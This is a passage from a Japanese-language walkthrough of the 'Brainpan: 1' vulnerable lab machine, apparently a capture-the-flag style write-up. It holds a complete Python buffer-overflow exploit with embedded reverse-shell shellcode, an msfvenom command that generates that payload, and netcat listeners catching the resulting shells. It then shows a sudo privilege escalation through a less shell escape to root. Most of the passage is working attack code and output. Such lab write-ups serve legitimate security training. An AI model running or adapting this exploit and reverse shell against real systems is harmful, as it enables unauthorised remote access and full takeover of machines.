"\xf3\x4a\xca\x6b\xf3\x5e")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + NOP + shellcode)
s.close()
攻撃端末側でnc
コマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Python
コマンドを実行します。
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.128] 49218
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\bin>hostname
hostname
VMOSX-WIN7-CNT
アクセスの取得
これまでに判明した、brainpan.exe
が抱えるバッファオーバーフローの脆弱性と、ペイロードを組み合わせて、「Brainpan: 1」のアクセスの取得を狙います。
「Brainpan: 1」はLinuxターゲットです。このため、再度、msfvenom
コマンドを使用して、Linux対応なリバースシェルシェルコードを生成します。
root@kali:~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.16.208.242 LPORT=4444 -a x86 --platform linux -b "\x00" -f c > shellcode_lin.txt
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
root@kali:~#
用意したshellcode_lin.txt
を送信するようにコードを書き換えます。
#!/usr/bin/python
import sys,socket
host = "172.16.208.233"
port = 9999
junk = b"A" * 524
return_address = "\xF3\x12\x17\x31"
NOP = "\x90" * 8
shellcode = ("\xb8\x45\x12\x30\x8d\xda\xd8\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x12\x83\xc3\x04\x31\x43\x0e\x03\x06\x1c\xd2\x78\xb9\xfb\xe5"
"\x60\xea\xb8\x5a\x0d\x0e\xb6\xbc\x61\x68\x05\xbe\x11\x2d\x25"
"\x80\xd8\x4d\x0c\x86\x1b\x25\x23\x68\x0c\x47\x53\x8b\xac\xb6"
"\xf8\x02\x4d\x08\x66\x45\xdf\x3b\xd4\x66\x56\x5a\xd7\xe9\x3a"
"\xf4\x86\xc6\xc9\x6c\x3f\x36\x01\x0e\xd6\xc1\xbe\x9c\x7b\x5b"
"\xa1\x90\x77\x96\xa2")
print "Sending Payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + return_address + NOP + shellcode)
s.close()
攻撃端末側でnc
コマンド構文を使用し、リバースシェルからの接続を待ち受けた状態で、Python
コマンドを実行します。
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.16.208.242] from (UNKNOWN) [172.16.208.233] 58149
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
hostname
brainpan
システム探索
python
コードで、nc
シェルをTTY
シェルにアップグレードします。
python -c "import pty; pty.spawn('/bin/bash')"
puck@brainpan:/home/puck$
sudo
権限が付与されていれば、特権昇格の手間を省くことができそうです。sudo -l
コマンド構文にて確認してみます。
puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$
(root) NOPASSWD: /home/anansi/bin/anansi_util
の記録に注目します。パスワードなしでsudo
権限が付与されているようです。実際に、実行してみます。
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
puck@brainpan:/home/puck$
特権の引き上げ
anansi_util
バイナリはless
コマンドを使用してマニュアルページを表示する機能を提供しています。less
コマンドには、閲覧中に任意のシェルコマンドを実行できる機能が提供されています。
- lessで表示している際の主なキー操作
キー操作 | 内容 |
---|---|
!コマンド | シェルでコマンドを実行する(シェルは環境変数SHELLで変更可能) |
この機能の裏をついて、/bin/bash
を起動してみましょう。
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util manual /bin/bash
sudo /home/anansi/bin/anansi_util manual /bin/bash
/usr/bin/man: manual-/bin/bash: No such file or directory
/usr/bin/man: manual_/bin/bash: No such file or directory
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man#
特権昇格に成功しました。特権昇格後、/root
ディレクトリを探索します。b.txt
ファイルが確認できます。
root@brainpan:~# cd /root; hostname; id; cat b.txt
cd /root; hostname; id; cat b.txt
brainpan
uid=0(root) gid=0(root) groups=0(root)
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
root@brainpan:~#